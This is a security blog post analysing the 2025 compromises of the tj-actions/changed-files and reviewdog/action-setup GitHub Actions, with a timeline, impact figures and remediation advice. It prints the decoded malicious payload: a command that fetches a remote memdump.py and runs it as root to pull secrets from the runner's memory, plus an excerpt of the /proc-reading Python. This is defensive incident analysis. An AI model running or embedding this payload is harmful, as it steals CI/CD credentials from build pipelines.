top of page
Search

Supply Chain Attack on Github Actions

  • Writer: Loïc Castel
    Loïc Castel
  • Mar 26
  • 5 min read

Compromise of GitHub repositories: tj-actions and reviewdog

Two major incidents recently affected the GitHub repositories tj-actions/changed-files and reviewdog/action-setup@v1, highlighting critical vulnerabilities in the supply chain of these two popular GitHub Actions components.


This analysis details how a sophisticated compromise potentially affected thousands of projects, revealing notably that Coinbase was likely the initial target of the attackers. Investigations show that the cryptocurrency exchange served as a starting point for a broader campaign, before the hackers turned to more extensive targets.


These attacks exposed sensitive secrets in CI/CD workflow logs, posing significant risks for projects using these compromised actions. It appears that Coinbase repositories were initially targeted by this attack.


The potential impact of the compromise is significant:

  • The tj-actions/changed-files action is used by more than 23,000 GitHub repositories. The injected malicious code executed a Python script designed to extract CI/CD secrets from the runner's memory, then print them in the workflow logs. On public repositories, these logs are accessible to everyone, potentially exposing sensitive secrets to anyone who consults them.

  • However, according to Endor Labs data, the actual impact seems to have been more limited: approximately 218 repositories effectively disclosed secrets out of the roughly 5,000 that pointed to the compromised action during the attack period. The majority of exposed secrets were GitHub installation access tokens with limited lifespans (maximum 24 hours), but some Docker, Terraform, Confluence, and AWS credentials were also compromised.

  • Regarding reviewdog/action-setup, the compromise is believed to have lasted about two hours on March 11 and affected approximately 1,500 repositories, compared to about 22 hours and 14,000 repositories for the broader attack on tj-actions.


The Safercy teams have conducted a detailed analysis of the events, technical impacts, and remediation measures in this blog post.

Summary of incidents

Between March 11 and 15, 2025, two widely used GitHub actions fell victim to a cascade compromise. The reviewdog/action-setup@v1 action was first compromised around March 11, followed by tj-actions/changed-files between March 13 and 15. What makes this attack particularly notable is its sequential nature: the initial compromise of reviewdog appears to have served as a stepping stone to attack tj-actions.


This sequence of events was not immediately identified. The compromise of tj-actions was discovered first, but it was only after thorough investigations that a link with the earlier compromise of reviewdog was established. The incident has since been cataloged by the US Cybersecurity and Infrastructure Security Agency (CISA) under references CVE-2025-30066 for tj-actions and CVE-2025-30154 for reviewdog.


We have synthesized the attackers' steps on each impacted repository:


Compromise of tj-actions/changed-files (March 13, 2025):

  • An attacker compromised a Personal Access Token (PAT) linked to the @tj-actions-bot, used to maintain the repository.

  • The GitHub action was modified to point to a malicious commit containing a Python script designed to extract secrets from the Runner Worker process.

  • The secrets exposed in the logs included sensitive tokens, publicly accessible in public repositories.

  • This compromise aimed to exploit the public CI/CD flow of Coinbase's open-source agentkit project, likely with the goal of infiltrating the company's internal infrastructure.

  • Although the attackers obtained a GitHub token with write permissions to the coinbase/agentkit repository, they failed to exfiltrate secrets or publish malicious packages.


Compromise of reviewdog/action-setup@v1 (March 11, 2025):

  • The reviewdog/action-setup@v1 action was compromised before the tj-actions incident and could be the initial source of the compromised PAT used by tj-actions.

  • The malicious payload injected into this action was distinct, using a base64-encoded string directly inserted into the install.sh file. This allowed secrets to be exposed without external exfiltration.


The Wiz teams created a timeline summarizing the events :

Source : https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
Source : https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup

Technical Analysis

In this section, we detail the two identified compromise chains targeting supply chains using tj-actions/changed-files and reviewdog/action-setup@v1


Compromise of tj-actions/changed-files

The attackers' modus operandi was particularly sophisticated: retroactively modifying multiple version tags to point to a malicious commit with the hash 0e58ed8671d6b60d0890c21b07f8835ace038e67. This technique ensured that nearly any version of the action used in existing workflows would execute the compromised code.

This commit includes a base64-encoded text. Once decoded, it is as follows:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

This code calls a Python script that extracts secrets from the Runner Worker process by accessing memory via /proc. Here is an excerpt of the malicious code:

#!/usr/bin/env python3
...

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

This script identifies the Runner Worker process, reads accessible memory regions, and extracts base64-encoded secrets.


Compromise of reviewdog/action-setup@v1 

The attack on tj-actions/changed-files (detailed above) appears to have been executed using a compromised GitHub personal access token (PAT) linked to the @tj-actions-bot account.


What's particularly interesting is that Wiz researchers believe this PAT was stolen during the previous compromise of reviewdog/action-setup. Indeed, tj-actions/eslint-changed-files, which is used by tj-actions/changed-files, itself depends on reviewdog/action-setup@v1, detailed in this section.

The payload injected into this action used a different approach this time. It directly double-encodes secrets in base64 and exposes them in logs in an obfuscated form.


The commit is as follows:

Once decoded from base64, the Python script is as follows :

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

We find the same logic and the same functionality that allows extracting secrets from the Runner Worker process by accessing memory via /proc. Although these secrets were not sent to an external server, their presence in public logs represents a serious security breach.

Supply Chain Implications

This incident highlights the growing vulnerability of modern software supply chains. When components like GitHub Actions are integrated into thousands of projects, they become attractive targets for attackers seeking to maximize the impact of their operations.

Several factors contributed to the success of this attack:

  • The absence of security controls in the tj-actions/changed-files repository, such as requiring signed commits and the lack of branch and tag protection rules

  • The use of personal access tokens (PATs) with elevated privileges for repository management

  • The fact that most users reference actions by tag or branch rather than by specific commit hash

Security Remediation

  • Identify and remove all references to tj-actions/changed-files and reviewdog/action-setup@v1, or ensure you're using version 46.0.1 or later of tj-actions/changed-files, which fixes the vulnerability.

  • Identify all secrets exposed in logs and rotate them.

  • Check all workflows executed during the compromise period to detect any suspicious activity.

  • Replace tj-actions/changed-files with the secure alternative offered by StepSecurity: step-security/changed-files.

  • Pin actions to specific commit hashes, which prevents falling victim to this type of incident during similar updates.


Conclusion

This cascade attack on reviewdog/action-setup and tj-actions/changed-files perfectly illustrates the evolution of threats targeting software supply chains. It reminds us that an application's security depends not only on its own code but also on that of all its components and dependencies.


For development teams, this incident underscores the importance of practices such as the principle of least privilege for access tokens, pinning dependencies to specific versions by hash, and continuous monitoring of code integrity.


These practices are no longer optional but essential in an environment where supply chain attacks are becoming increasingly sophisticated and frequent. Ultimately, this compromise reminds us that in the interconnected ecosystem of modern software development, security is only as strong as its weakest link.


At Safercy, we place particular emphasis on cloud security.

Continue to follow us to stay informed about the latest developments in this field.


Sources

 
 

Legal Notice

More about cookies

More about confidentiality

bottom of page